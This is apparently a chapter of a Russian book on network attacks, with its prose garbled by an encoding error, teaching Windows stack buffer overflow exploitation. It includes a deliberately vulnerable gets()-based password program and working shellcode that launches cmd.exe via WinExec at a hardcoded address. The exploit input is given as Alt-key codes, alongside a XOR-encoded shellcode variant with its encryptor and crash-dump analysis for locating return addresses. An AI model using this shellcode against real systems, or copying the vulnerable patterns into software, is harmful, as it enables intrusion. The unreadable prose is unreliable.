᫨ ਢ   ᯮ  쭮  㭪樨  ।  ࠢ  ret,   ࠡᯮᮡ.  室  㭪樨 ࠭⢮ ⥪, ⮥ 묨 ६묨, ᢮: ॣ 㪠⥫ 誨 ⥪ ᬥ頥     ⥪,  ᪮ 㭪 WinExec ⥭ᨢ ᯮ ⥪, ,  ⭮   , , 뢠騩 WinExec,  㭨⮦  ᫥   㭪樨 ந ᪫祭, ਢ饥  ਩ 襭 ணࠬ.   ⮣ 室 <> 㪠⥫ 誨 ⥪, ⠭  ⥪.  ⮣  ᯮ짮  "SUB ESP,??",   ⭠  룫廊 ⠪: "83 EC??",   ᮤন 㫥    ⠭, ᪮  ⢮ ᥣ   ,   ਭ 祭  -0x7F  0x7F. ᫨ ⮣  筮,  ᯮ짮 ᪮쪮  "SUB ESP,??"  ᪠ - 㣨 襭 (  ).
    ᬥ饭 ப , ਬ, ᫥騬 ࠧ:  ⫠稪  ⠭  ⠭   "ret".  ᯫ ⫠稪,  ॣ, 襥 ᫮ ண ᮢ  ᬥ饭 ப. ᫨  ⠪  ,  ਡ  ᫥饬 ਥ:
 00000000: 33 C0 xor eax,eax
 00000002: B0?? mov al,??;"f
 00000004: C1 E0 10 shl eax,010;
 00000007: 66 B8???? mov ax,????;
 ᫮    , 饣 ப. 筮 ਡ, ਬ,  ᠬ饬 ,   룫拉, ਬ, ᫥騬 ࠧ (ॣ EAX  㪠뢠  砫 ப):
 00000000: FE4007 inc b,[eax][00007]
 000000x0: 63 'c'
 000000x1: 6D 'm'
 000000x2 64 'd'
 000000x3: 2E '.'
 000000x4: 65 'e'
 000000x5 78 'x'
 000000x6: 65 'e'
 000000x7: FF '\xFF'
ப 蠥  0xFF,   INC, ॢ頥  ! 㬥, ⨬ ᯮ짮  㣨 ⥬᪨ 樨, ਬ, SUB  ᪨ XOR, AND.
ꥤ  ᪠,   ,   룫拉, ਬ, ⠪:
 00000000: 83 EC?? sub esp,??;
 00000003: 33 C0 xor eax,eax
 00000005: B0?? mov al,??;
 00000007: 50 push eax;
 00000008: C1 E0 10 shl eax,010;
 0000000B: 66 B8???? mov ax,????;
 0000000F: FE 40 07 inc b,[eax][00007];
 00000012: 50 push eax;
 00000013: B8 01 86 E9 77 mov eax,077E98601;"
 00000018: FF D0 call eax;
 0000001A: EB FE jmps 00000001A;
 0000001C: 63 'c';
 0000001D: 6D 'm';
 0000001E: 64 'd';
 0000001F: 2E '.';
 00000020: 65 'e';
 00000021: 78 'x';
 00000022: 65 'e';
 00000023: FF '\xFF';
 饭 ࠢ ᭮ ⪥ ணࠬ,  , ਢ , ᯮ짮 横.   ᠬ 襥 襭, ,  ᥣ    ࠦ  ࠡᯮᮡ ⠪㥬 ணࠬ, (..  蠥 ), ᪮  稢訩  ࢥ 짮⥫ 筮 ࠡ뢠 ⤥ ⮪. ,  ⥫쭮  ந⥫쭮, ᮡ  ⭮   設  ࠢ쭥 뫮   ⮪  ᮭ, ਬ, ᯮ짮 맮 WaitForSingleObject.         ⮣ [326].
, ਬ,  ᫥ ணࠬ, ᮤঠ 訡 ९  ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.cmd.c"):


 #include <stdio.h>

 #include <string.h>





 auth()

 {

 char pass[32];

 printf("Passw:"); gets( amp;pass[0]);

 if (!strcmp( amp;pass[0],"KPNC*"))

 return 1;

 return 0;

}



 main()

 {

 printf("CMD Shell Demo\n");

 if (auth())

 printf("Password ok\n");

 else

 printf("Invalid password\n");



}





᫨ ⪮஢  䠩   Microsoft Visual Studio 6.0    ⫠稪, ⠭  ⠭  砫 楤 auth(),  㧭    ⥪, ࠧ  ⥪  祭 ॣ஢  室  㭪樨 (ࠧ㬥,  ⮣ 室 ஢ ,     ret). ⫠稪     룫拉 ⠪ (ᬮ 㭮 076):




㭮 076 ᭥  



祭 ॣ ESP   室  㭪樨 ࠢ 0x12FF7C [327],  ࠧ  ⥪ 0x20+0x4 = 0x24  (   ࠭  ⥪ 祭 ॣ EBP). ⥫쭮,   (  室  設 ⥪) ࠢ 0x12FF7C - 0x24 = 0x12FF58.         㤮⮢,   ⢨⥫쭮 頥  짮⥫ ப.
祭 ॣ EDX ᫥ 室  㭪樨 strcmp ᮢ  ᬥ饭 砫 . ⮬,   ᪠   ⥬ 맮 WinExec  룫拉 ⠪:
 00000000: 83 EC 30 sub esp,030;
 00000003: 52 push edx;
 00000004: B2 6B mov dl,06B;
 00000006: FE 42 07 inc b,[edx][00007];
 00000009: 52 push edx;
 0000000A: B8 01 86 E9 77 mov eax,077E98601;
 0000000F: FF D0 call eax;
 00000011: EB FE jmps 000000011;
 00000013: 63 'c'
 00000014: 6D 'm'
 00000015 64 'd'
 00000016: 2E '.'
 00000017: 65 'e'
 00000018 78 'x'
 00000019: 65 'e'
 0000001A: FF '\xFF'
饭 ப "cmd.exe"   ࠢ 0x13, ᫥⥫쭮, 訩  ॣ EDX   ࠢ 0x58+0x13 = 0x6B. ⠥ ᫨  ,  37, 38  39 ⠬  ப (ࠧ  32    4   ࠭ 祭 ॣ EBP).  ࠢ ( ⮬ ⭮ 浪 ⮢) 0x88 0xFF 0x12.
,  ப  筮 ।⠢ (ਣ⮢   १ Alt) 㤥 룫拉 ⠪ ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.cmd.2000.key", , ७ࠢ       , ⮬   ਤ   ப ):
 131 236 048 082 178 107 254 066 007 082 184 001 134
 233 119 255 208 235 254 099 109 100 046 101 120 101
 255 088 088 088 120 088 088 120 120 088 088 255 018
᫨   ࠢ쭮   訡,   ,    㭮 077.




㭮 077  ᪠  



᪮ Windows 2000 ⠢   telnet-ࢥ஬, 諥 砥   cmd.exe  㤠 設  ࠢ   ᢮ ᬮ७. ⭠ ⠢ Windows NT 4.0  ᮤন ।  প ⠪ ࢨ, , 諥  । 室 樨   ப, ਬ, ⠪: "cmd.exe /k copy xxxx yyyyy",  ஢ ࠭ 䠩  㯭  ४.
筮 ⠪     㣮 䠩,  ⮫쪮  . , ᠭ ⮤ ᪠ ணࠬ, ਢ易  ⭮ ᨨ 樮 ⥬  , ᠭ    ,  ࠡᯮᮡ  㣮.  UNIX ⥬, ᮢ⨬  System V  ⥬ 맮 ⠭⨧஢     ᨨ  ᨨ.



. ஢ 



  <ᯮ짮 뢠 ⥪  ᪠    Windows NT>   <孮 뢠 ⥪> 뫨 ᬮ७  ᯮᮡ   㫥,   ᯮ塞 . 㡮   ࠧ  ᫥騥 ⥣ਨ:
 ᯮ짮 ⥬᪨  ᪨ 権  ᫥ ॡ㥬 १  . (ਬ: XOR EAX,EAX; AND EAX,0xFF??FFFF; INC [EAX])
 ᯮ짮 SEX [328]-, (ਬ,  05 20 00 00 00 add eax,0x20  ᯮ짮 83 C0 20 add eax,+0x20)
 ᯮ짮 ॣ஢ (祥 ) 㦥 ᮤঠ ॡ㥬 祭
 SEX-     , ᯮ짮 <>, ⠢ 뢠騩  㭪樥,     ᮧ   [329],  ᯮ짮 ⥬᪨ 権       讬 ⢥ 㫥 ॡ  , ன   墠.
⮬,  뢠 룮 ஢   楫, ᪮ ⥩訩   浪 ⭠ ,      㫥 祩 ॡ  ࠩ    (FE 42?? INC b, [EDX+??]).  , ᫨  ।     㫥 ᬥ , ᯮ짮    .
㣮 २⢮  砥  饭 , ᪮ ⥯  ॡ < >,     㫥. ਬ, ᫥   ᮧ  , ࠡ騩 ᨬ  ⮣,   ᯮ  :
 00000000: E8 00 00 00 00 call 000000005
 00000005: 58 pop eax
맮 CALL 0x5   ⥪ 祭 ॣ 㪠⥫ ,  ᮤন ᬥ饭 ᫥饩 樨,   EAX ⠫   ⥪.    ᮢ  ᬥ饭, ᯮ EAX (  㣮 ॣ)  ⢥ .
 맮 "CALL 0x5" ᮤন  㫥 , ⮬   ९ᠭ ⠪ ࠧ,    ⨫   .    ਠ⮢  :
 00000000: EB03 jmps 000000005
 00000002: 58 pop eax
 00000003: EB05 jmps 00000000A
 00000005: E8F8FFFFFF call 000000002
  ⮫쪮   ,   ᫮ ᠭ ணࠬ, ᪮ ﭭ 室   <>   ᪨ ⠪ 樨,    .   ॡ 祭  祭 ᥬ  ਭ樯 ஢  ய.   ᯮᮡ ⮬᪨    㫥,  ᠭ ணࠬ.
 ⥩襬 砥 楬    ᪠  XOR.    ᢮ 砥  ⮬,  A XOR B = (A XOR B) XOR B, .. ୮ ஢ ⠭ 室 ⥪.
㣮 ᢮⢮ XOR: A XOR A - 0, ⮬  ⢥  ஢ 室  ⠪ ,    ࠧ  砫  㥬 ,     ,  ⨬.
  ਠ⮢ ஢騪 ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/xor.bin"):
 00000000: 33 C9 xor ecx,ecx
 00000002: 83 C1 10 add ecx,??;
 00000005: 33 C0 xor eax,eax
 00000007: 83 C0 10 add eax,011;
 0000000A: 80 34 04?? xor b,[esp][eax],??;
 0000000E: 40 inc eax
 0000000F: E2 F9 loop 00000000A ____________________ (1)
 ᯥ祭 쭮  ᬥ饭   ॣ ESP,  ⮬   㪠뢠  砫 .   ॣ ECX 室   ஢뢠 ࠣ.
ਬ, , ᪠騩    ணࠬ buff.cmd.c (ᬮ  <ᯮ짮 뢠 ⥪  ᪠    Windows NT), ९ᠭ  ᯮ짮   룫拉 ⠪:


 00000000: 83 EC 30 sub esp,030;

 00000003: 8B C4 mov eax,esp

 00000005: 33 C9 xor ecx,ecx

 00000007: 83 C1 13 add ecx,013;

 0000000A: 80 70 19 90 xor b,[eax][00019],090;

 0000000E: 40 inc eax

 0000000F: E2 F9 loop 00000000A

 00000011: 50 push eax

 00000012: 83 C0 14 add eax,014;

 00000015: 50 push eax

 00000016: B8 01 86 E9 77 mov eax,077E98601;

 0000001B: FF D0 call eax

 0000001D: EB FE jmps 00000001D

 0000001F: 63 'c'

 00000020: 6D 'm'

 00000021: 64 'd'

 00000022: 00 '\0'

 00000023: 34 騩 

 00000024: 58 

 00000025: FF -

 00000026: 12 

 00000027: 00




஢騪      饥 ࠭⢮ 㦥  㤠 楫    . 筮, 㭪 WinExec 㬥  䠩  㪠 ७,   ⠢訥       类 䠩. ⮬, ᯮ짮   ⮬ 砥  楫ᮮࠧ,  ਢ   ਢ ࠡᯮᮡ 樨  .
 祭    ⮢  㯮ॡ.  ᬥ饭 011 ( ஢뢠 )  023 (᫥ ஢뢠 )  室 ஢, 믮   ⮬  XOR 0x90.   ஢ ࠭ ⮬,   㥬 ࠣ    , ࠢ 090. ⥫쭮,  ஢ ப     . 㣨 ⨬ ᨬ    <ENTER>, ࠢ 0xD. ᫨     ப, ⥬ ਬ   襭 ப  ४ .
 ஢  ᯮ짮  ⨫⮩,  ⭠ ।஢ QVIEW ( HIEW),  㤭  ॠ   몥 .   ⥩ ਠ⮢ ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.crypt.c").  饭   ࠡ  ஢ન  믮.


 #include <stdio.h>



 main()

 {

 FILE *fin,*fout;

 char buff[40];

 int a=0x11;



 fin=fopen("buff.raw","rb");

 fout=fopen("buff.ok","wb");

 fread( amp;buff[0],1,40,fin);

 for (;a<0x24;a++) buff[a]=buff[a] ^ 0x90;

 fwrite( amp;buff[0],1,40,fout);

 close(fin);

 close(fout);

}








祭  १ ஢ 䠩  룫拉 ᫥騬 ࠧ ( ᪥, ਫ  ,  室  ४ਨ "/SRC"  뢠 "buff.ok")
 00000000: 83 EC 30 8B C4 33 C9 83  C1 13 80 70 19 90 40 E2 0-3+!pv@
 00000010: F9 C0 13 50 84 C0 28 91  16 79 E7 6F 40 7B 6E F3 L!PL(-yo@{n
 00000020: FD F4 90 A4 58 FF 12 00  X 
  ᠬ  筮 , ।祭        Alt 룫廊 ⠪:
 131 236 048 139 196 051 201 131 193 019 128 112 025
 144 064 226 249 192 019 080 132 192 040 145 022 121
 231 111 064 123 110 243 253 244 144 164 088 255 018
᫨   ࠢ쭮   訡,   .








.  梨 ணࠬ.


, 砥 ࠢ  뢥 ⥪, ᪠     ਢﬨ 梨 ணࠬ. , 訩  ।⠢ ணࠬ, 騥 訬 ਢﬨ (⥬ ࢨ,   ..).  ⥫쭮 㦠  ᪠  ࠭稢 ⢮ ⥭樠 ⮢  .


१ <砭> *




  ⮤, 騥 । ᫥⢨ 뢠 ⥪,   稨  訡 ॠ樨.  , 饭 ᭮ 樮 ⥬ UNIX  Windows NT, ⬥砫,    ࠧ 믮   ⥪,  ⮬ ⥭樠쭮 梨,  , 㣨 ᫮, ⢨⥫  訡 ணࠬ ᯥ祭.
 ᠬ     ᮢᥬ ୮.  ᪨  UNIX, 騥   -  ⪥ 믮 , ࠧ饭  ⥪, ந室 ᪫祭,  믮 ணࠬ 뢠.    ⨬  ࠡ   ணࠬ, < > 騥   ᯮ騥   ⥪ [330].    믮   ⥪  ࠣ 䨪 ६, 㪠⥫, ⮬ ਭ樯쭠  ⠪ -० ⠥. ⮬, ⠪  ᯮ ࠩ ।.  , 맮 ᪫祭  ⪥ 諥 ஭  ,  ᠬ   [331].
  (  gcc) ᯮᮡ ஢ , ⮬᪨ 㦨騩 室  ࠭ ,   뢠 ᭨ ந⥫쭮  ⪨ ࠧ   ᥣ 뢠 ਥ.


१ <ଠ> *




 ࠬ ஥ Synthetix (http://www.cse.ogi.edu/DISC/projects/synthetix) 㤠  ᪮쪮    襭, 㤭 ⠪, ᭮  뢥 ⥪. ਬ, "StackGuard" -   <>   gcc,  ஫     㭪権, ᮡ , ஫騬 楫⭮  .     ᫥騩:  ⥪   ᮬ  , ⠪ 뢠, "Canary Word", ᯮ   . ᪠   筮 ᮯ஢  ᪠ Canary Word,   ப஫஢.   ⮬,  Canary Word ᮤন ᨬ "\0", CR, LF, EOF,      ⥬   .   ᨫ   砩 ਢ離, 㥬   ᪥ ணࠬ.
  ⢨⥫쭮 㤭 ⠪,   ᪫砥  ਭ樯 .   १     ᪠ ॣ EBP, ᯮ㥬  樨  ६, ⠪  䨪樥 ६ 㪠⥫. ⮣ StackGuard ᫥   ᨫ. ஬ ⮣, ᫨ ந室 ९ ஢,   頥 ଠ, ⠭  筮 䠩  ਭ  ,   类 ࠭祭  ।  ப ᨬ.  㧭 祭 ਢ離 , ਬ,   梨  㭪樨 printf (  )  ..
 ࠧ ᯮᮡ ᪠ 梨 ணࠬ. ਬ,   ᥬ஢  ⥫쭮 祭 ,  ਢ쭮  ப ६ .  㦥 ⬥砫   <孮 뢠 ⥪> 筮 ࠭  ᨬ쭮  ப. 室 ॡ    㫥  ᨬ쭮 .
  ப ࠧ  -  ⮩ (  ᥣ ⢥) . ᫨ 㤠  ப, 뢠 ᪫祭, , ᫥⥫쭮, ᫥㥬 ணࠬ ᮤন 梨.    䠪,  㤠 । ࠢ  ᢮ ,     -  ᯮᮡ ஭  ⠪㥬 設.    訡 ९ ਢ   ஢ ணࠬ,    諥 ᮢ  ᫥ ⢨.
⮬, । ⠪騬  ᫥騥 :   ᪠   ⠪ ࠧ, ⮡  㪠뢠  । ப? ᫨ ,    ப   ? 設⢮ 樮 ⥬   ਩ 樨 뤠 ଠ, ᯮᮡ ஫ ᢥ  稭 ਨ.   ଠ 뤠 ଠ樨    樮 ⥬  㣮,  ࠪ᪨ ᥣ ਢ ᮤন ॣ஢, 誨 ⥪, 樨, 맢襩 ᪫祭   ᠬ ᪫祭. ⨬ ᢥﬨ   ᯮ짮 諥, ⮡ ⢥  騥  .
 ଠ⨢ 뢠 Windows 2000,  ᮮ  ᮤন ॣ஢,  ﭨ ⥪.    㧨 ⫠稪,   ண   室 ଠ.  ⠪  ⨫ <Dr. Watson>, ।祭  ᭥ 稭  ਩ 権.   室   梨 ணࠬ.
 㤥 ,   ᯮ짮  ଠ  ஭  㤠 . ᪮, ᫥  ᪫祭   樮 ⥬  ।  ᢥ  稭 ਨ (ᮤন ॣ஢, ﭨ ⥪),   ᫥ 室 ஢  쭮 設. .. 諥   䨧᪨   ᢮ ⢥  ⠭  ᢮    ᠬ 樮 ⥬    ᠬ ணࠬ ᯥ祭.
᫨  ࠢ Windows 2000,  ਬ buff.demo.exe ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.demo.exe")  ப  祬   ᨬ 'Z' (  㣨 ᨬ), ந ᪫祭       ᫥饣 ᮤঠ (ᬮ 㭮 79):




㭮 079 ଠ, 뤠 樮 ⥬ Windows 2000   ᪫⥫쭮 樨



"   0x5a5a5a5a ⨫     0x5a5a5a5a.     read".  ᨬ 'Z' ࠢ 0x5A, ᫥⥫쭮, ᪠    । ࠢ   'ZZZZ'  0x5a5a5a5a  ⭠筮 ଥ.     ப   ?
  㧭  ப  ࠧ묨 ᨬ, ਬ, "ZZZZZZZZZZZZZZZ1234567" (᪮ ᪫祭 <믫뢠> ⮫쪮   ப   ⭠   ᨬ,  ⭠ ᨬ 뢠 騬,   祭 ஫  ࠥ).
  ᪫⥫쭠    ࠭   ᫥饣 ᮤঠ (ᬮ 㭮 081):




㭮 081



"   0x35343332 ⨫     0x35343332.     read".  ᨬ '2' - 0x32, '3' - 0x33, '4' - 0x34  '5' - 0x35. ⥫쭮,  ࠭    ⭠, ᥬ, ᥬ  ⭠ ᨬ  ப (  饣 ).
⠥ ᭨,    ᯮ , ᮤঠ騩 ப.  ᭨  ⮫쪮   ᭮ ᮮ頥 Windows 2000 ଠ樨 . 室  ⫠稪,    <⬥> (   ⮫쪮  ⮬ 砥, ᫨  ⥬ ⠭ ⫠稪, ਬ, । Microsoft Visual C++, 室 ⬥ - SoftIce  ⭮ ⠫樨  ।⠢ ⠪ ):
᫥ ᯫ  ⫠稪 訩  ।⠢ 祭 ॣ 㪠⥫ 誨 ⥪ ESP.   ᮤন ⥪  ॣ ESP (  ᯮ  ப)  ⮬   ᥣ 뢠 㭨⮦.
 㭪 082  ᮤন ॣ஢  ﭨ ⥪.  ,   ⥪    ப 室 .  ந室 ⮬,    ᪫祭  ⥪   㦥 ,    ᢮ .




㭮 082



᭮뢠  祭 ॣ ESP (ࠢ   砥 0x12FF80)  ᫨  ࢮ  , ᮤঠ饣 ப.  ࠢ 0x0012FF80 - 0x14 [332] = 0x0011FF6C.
᫨ ஡  ப : "\xCCZZZZZZZZZZZZZZ\x80\xFF\x12", ( 0xCC    INT 0x3 - 뢠騩 ⫠筮 ᪫祭 03 - ⮫쪮 ⠪  ࠭஢  ᪫祭  ࢮ  , 稢訬 ࠢ),  १ 㤥 ᫥騬 (ᬮ 㭮 083):




㭮 083



"᪫祭 Unknown software exemption (0x800000003)  ਫ   0x0012FF6C".  0x9912FF6C 뢠,    ⢨⥫쭮 ࠭ ࠢ쭮    । ப 砥 ࠢ.
 ࠧ,  ଠ, 室  থ   設 祭,  諥  㯠  ணࠬ ॠ樨 ⠪饣 , ਬ ண 뫨 ਢ   <孮 뢠 ⥪>   <ᯮ짮 뢠 ⥪  ᪠    Windows NT>.
 ࠢ Windows 9x    믮  , ᪮   㧭 ᮤন ॣ஢  ﭨ ⥪ ⨥   <ᢥ>.  ࠭ ⮡ࠧ    ࠦ  㭪 080.




㭮 080



訩  ।⠢ 祭 ॣ ESP, 祭 ண  ᫨ ⮯  ப  ⥪. 祭 ॣ EBP, ࠢ 0x5A5A5A5A   ⮬,   ᣥ஢ , 騩  ६   ॣ EBP.  ,  䨪樥 ࠭ 祭 EBP 諥 㤠 ஭  設 ,  ࠩ , <> .
  ⠢ Windows 9x, Windows NT 4.x, Windows 2000 室 ⨫ <Dr. Watson>, ।祭   稭 訡.   ਩ 樨  ࠭ ⥪饥 ﭨ ४⭮ ࠡ饣 ਫ  䠩 ⮪,   ( ᨬ  ⮥)  室: ᮤন ॣ஢  ﭨ ⥪, ਨ ஢  ..
  ਬ஢ ⮪ ਢ  [333].  祭 ᫥  ᪫祭  १ ९  ணࠬ buff.demo.exe:


 ﭨ ⥬  15.09.00 10:31:30.



 *--> ⮣/ᠭ <--*



 ਫ     DLL  ९

 ७ ६ 



  : < >



  ਫ: Buff.demo.exe



 ____________________



 *-->  <--*



 Command line: F:\TPNA\SRC\BUFFDE~1.EXE



 Trap 0e 0000 - ⨬ ࠭

 eax=00000000 ebx=00530000 ecx=00406050 edx=0063fdd8 esi=817d3fd4 edi=00000000

 eip= 5a5a5a5a esp= 0063fdf8 ebp=5a5a5a5a - - - nv up EI pl ZR na PE nc

 cs=015f ss=0167 ds=0167 es=0167 fs=41a7 gs=0000

>015f:5a5a5a5a page not present

 sel type base lim/bot

 ____________________ -- ____________________ ____________________

 cs 015f r-x- 00000000 ffffffff

 ss 0167 rw-e 00000000 0000ffff

 ds 0167 rw-e 00000000 0000ffff

 es 0167 rw-e 00000000 0000ffff

 fs 41a7 rw- 817d23fc 00000037

 gs 0000 --



 stack base: 00540000

 TIB limits: 0063e000 - 00640000



 - exception record -



 Exception Code: c0000005 (襭 㯠)

 Exception Address: 5a5a5a5a

 Exception Info: 00000000

 5a5a5a5a



>015f:5a5a5a5a page not present





 - stack summary -



 0167:5a5a5a5a 015f:5a5a5a5a 015f:5a5a5a5a



 - stack trace -



 0167:5a5a5a5a 015f:5a5a5a5a 015f:5a5a5a5a



 - stack dump -



 0063fdf8 00005a5a

 0063fdfc 00401262 = BUFF.DEMO.EXE:.text+0x262



 ____________________

 015f:00401231 00a330694000 add byte ptr [ebx+00406930],ah

 015f:00401237 e83f0e0000 call 0040207b = BUFF.DEMO.EXE:.text+0x107b

 015f:0040123c e8810d0000 call 00401fc2 = BUFF.DEMO.EXE:.text+0xfc2

 015f:00401241 e8f60a0000 call 00401d3c = BUFF.DEMO.EXE:.text+0xd3c

 015f:00401246 a170694000 mov eax,dword ptr [00406970]

 015f:0040124b a374694000 mov dword ptr [00406974],eax

 015f:00401250 50 push eax

 015f:00401251 ff3568694000 push dword ptr [00406968]

 015f:00401257 ff3564694000 push dword ptr [00406964]

 015f:0040125d e80afeffff call 0040106c = BUFF.DEMO.EXE:.text+0x6c

 BUFF.DEMO.EXE:.text+0x262:

 *015f:00401262 83c40c add esp,+0c

 015f:00401265 8945e4 mov dword ptr [ebp-1c],eax

 015f:00401268 50 push eax

 015f:00401269 e8fb0a0000 call 00401d69 = BUFF.DEMO.EXE:.text+0xd69

 015f:0040126e 8b45ec mov eax,dword ptr [ebp-14]

 015f:00401271 8b08 mov ecx,dword ptr [eax]

 015f:00401273 8b09 mov ecx,dword ptr [ecx]

 015f:00401275 894de0 mov dword ptr [ebp-20],ecx

 015f:00401278 50 push eax

 015f:00401279 51 push ecx

 015f:0040127a e8bf0b0000 call 00401e3e = BUFF.DEMO.EXE:.text+0xe3e



 ____________________





 0063fe00 00000001

 0063fe04 00760b70 -> 78 0b 76 00 00 00 00 00 46 3a 5c 54 50 4e 41 5c x.v:F:\TPNA\

 0063fe08 00760b20 -> 00 0b 76 00 e0 0a 76 00 c0 0a 76 00 a0 0a 76 00:v:v:v:v.

 0063fe0c 00000000

 0063fe10 817d3fd4 -> 06 00 05 00 50 e9 52 c1 00 00 00 00 00 00 00 00:P.R:

 0063fe14 00530000

 0063fe18 c0000005

 0063fe1c 0063ff68 -> ff ff ff ff 14 fe fb bf 38 91 f7 bf 00 00 00 00:8:

 0063fe20 0063fe0c -> 00 00 00 00 d4 3f 7d 81 00 00 53 00 05 00 00 c0:?}:S:

 0063fe24 0063fc28 -> 00 fd 63 00 1c fd 63 00 54 fc 63 00 4d 68 f7 bf:c:c.T.c.Mh:

 0063fe28 0063ff68 -> ff ff ff ff 14 fe fb bf 38 91 f7 bf 00 00 00 00:8:

 0063fe2c 004026dc = BUFF.DEMO.EXE:.text+0x16dc

 -> 55 8b ec 83 ec 08 53 56 57 55 fc 8b 5d 0c 8b 45 U:SVWU:]:E

 0063fe30 004050a8 = BUFF.DEMO.EXE:.rdata+0xa8

 -> ff ff ff ff 6e 12 40 00 82 12 40 00 06 00 00 06:n.@:@:

 0063fe34 00000000

 0063fe38 0063ff78 -> f4 ff 63 00 e9 b3 f8 bf f4 23 7d 81 d4 3f 7d 81:c:#}:?}.

 0063fe3c bff8b537 = KERNEL32!ApplicationStartup



 ____________________






 ⮪  ⥬,   ⠭:   楤 ந諮 ९ .  ⨭  窨 ⬥祭 , ᫥  , 맢襩 ᪫祭:
 015f:0040125d e80afeffff call 0040106c = BUFF.DEMO.EXE:.text+0x6c
 BUFF.DEMO.EXE:.text+0x262:
 *015f:00401262 83c40c add esp,+0c
  IDA  ⠭,  楤, ᯮ   0x40106C, ।⠢ ᮡ main():
.text:0040106C main proc near; CODE XREF: start+AFp
.text:0040106C push ebp
.text:0040106D mov ebp, esp
 ९  ந諮  楤 auth, 뫮   ன (0401000)  ⮪, 뤠 ஬ ᮭ  !  ந室 ⮬ ,    楤 auth    ப   ᮭ  ᬮ । 㤠 ந襫 맮. ᪫祭 맢  ᠬ 㭪 main,    뢠  楤. ⠭  ⨭ <> ᪫祭 ⥯ ࠪ᪨ .
⢥ 楯,    墠 뢠 ࠬ । 㭪樨 (᫨   뫨  [334]).  த  祭 ࠬ஢    ਡ⥫쭮 ।  㭪 뫠 맢.  ࠩ ,   㧨  ᪠.
      訡 ९ 㤠 㦨 ॡ஬ ப ࠧ . 來 樥 ⮣ ⢥ত 㦨 ᫥ ணࠬ ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.src.c"):


 #include <stdio.h>

 #include <string.h>

 #include <windows.h>



 int file(char *buff)

 {

 char *p;

 int a=0;

 char proto[10];

 p=strchr( amp;buff[0],':');

 if (p)

 {

 for (;a!=(p- amp;buff[0]);a++)

 proto[a]=buff[a];



 proto[a]=0;



 if (strcmp( amp;proto[0],"file"))

 return 0;

 else

 WinExec(p+3,SW_SHOW);



}

 else

 WinExec( amp;buff[0],SW_SHOW);

 return 1;



}





 main(int argc,char **argv)

 {

 if (argc>1) file( amp;argv[1][0]);

}





ணࠬ ᪠ 䠩,  ண 㪠   ப. ⪠ 맢 ९  ப ࠧ筮 , ᪮॥ ᥣ,   祬  ਢ.     室   㦨 訡, 饭 ࠧࠡ稪.
᫨   䠩  ᨬ ":",  ணࠬ ,   ᠭ  ଠ "⮪://  䠩/ 䠩",  ⠥ ᭨   ⮪  㪠.  ⮬    ⮪   䨪஢ ࠧ, ,   ଠ쭮 室 饩,  墠  饭   ⮪.  ᫨  ப  "ZZZZZZZZZZZZZZZZZZZZZZ:",  ந ९   ᥬ ⥪騬  ᫥⢨ﬨ (. 㭮 084).




㭮 084



ਢ ਬ ⭮  ᠬ .     訡, 騥   祭 । ⥫  㦨   ⮫쪮 砩  ⥫ 祭 室  (  ⢨ 室  - ᥬ஢  ⫠).
  । 室 ⮡ࠧ    䨪஢ ࠧ, ᯮ  ⥪.  , 뤥塞 맮 alloc, 室   (heap)   ९ ( ᫨   )  ਢ  䨪樨  , ࠭  ⥪.
     訡  .  ⢮ ࠧࠧ 孨  室  襭 ⮩ ஡,       ﭨ 㦨  梨, ᪮ ᥣ   ਭ樯쭮  ,  ਥ, ᭮   ᯥ䨪஢  ப, । 㭪樨 printf [335]. ⮬⨧஢ ।⢠ ᪠  㦨 ⠪ 訡  ࠭, 祬  ⢥ ⥫⮬.
 ᫮ ணࠬ  뫨, ᫨   ᥣ. ⥫쭮 ஢  ப  ᮢ६ ਫ ᪨  룮   ࠪ⨪   .  㣮 ஭,  㦮  ( ᮡ  ⢨ 室 ⥪⮢) 믮   㤭⥫쭮. 設⢮ 訡 㦨 砩,    १ 楫ࠢ ᪠.   ஬ ⢮ 諥, ᯮ ࠭祭 (, ࠪ᪨ ࠭祭) ६  ᯥਬ⮢, ⮬,  訡 㦨     (   ᪮쪮  ).



 ஥  ஫?



O  ⮩ :
O  ॡ ஫
O ⮨⢠  ⪨ ᫮୮ ॡ
O 業 ⮩ ஫
O  ⢠ ६ ࠭饣 宦 ஫
O  ஫  襬  । 
  ᯮᮡ 祭 ᠭ樮஢ 㯠  饭  砥   ஫.   ࠩ । 㤠 믮 ,  筮  ४뢠   ணࠬ-ॡ騪 ஫.
 ᪮쪮 ⬮ 樨 ஫. ਬ,  ⠢ ᯨ᮪  ࠭ ஫,  ⥬  ᫮  ᯨ᪠   㣨. , ⠪ 뢠, ᫮ ॡ.  ⮨⢮ 砥  ⮬,  㤠筮 ࠭ ᫮ ᯮᮡ   ஫  ࠢ⥫쭮 讥 ⢮ ⮪.   砥 <㤠筮 ࠭>? 짮⥫ ᪫ 롨 ⪨ 騥 ஫,  ।⠢騥 ᮡ ᮡ⢥ , ࣮ ન, ᪨   ᫮ ଠ⨢ ᨪ (      ࠡ⠥).          -   ਠ⮢,    ॡ࠭  祭 ⪮ ६. (६ ⮢  ᯮᮡ ॡ ⭨  ஫  ᥪ㭤, ⮬ ᫮    ᫮   ⠭  祬  ᥪ㭤).
 ॡ ࠡ뢠 ,   ᥣ. ਢ஢ 짮⥫ (⠪, , ਬ,  ⥬) ᪫ 롨 ᫥ ஫  "acsW%9*m$",   ᥡ  ᫮୮ ⠪.  ⠪ 砥 室 ਡ  ᫥⥫쭮 ॡ   ஫.  室 ࠭,  ᪮ ஫ ࠭   㤥 ,  ॡ ⥫쭮 ६  ,  ࠢ  ६    .
⮬, ᫥⥫ ॡ 楫ᮮࠧ ⮫쪮  ᪥ ⪨ ஫  ஫,   讣 ⢠ ᨬ.  ⥬ ⥭䨪樨 ࠭稢 ᨬ  ஫,  ࠭஢   ⥬ ॡ  ਥ ६. 砥,  ⠪ ࠭祭    १ ணࠬ 訡 ॠ樨 (ਬ, 䠪᪠  ஫ LAN Manager ⠢ ᥬ ᨬ, ᪮   ୠᨬ쭮 ப ࠡ뢠 ᨬ   㣠 [336]).
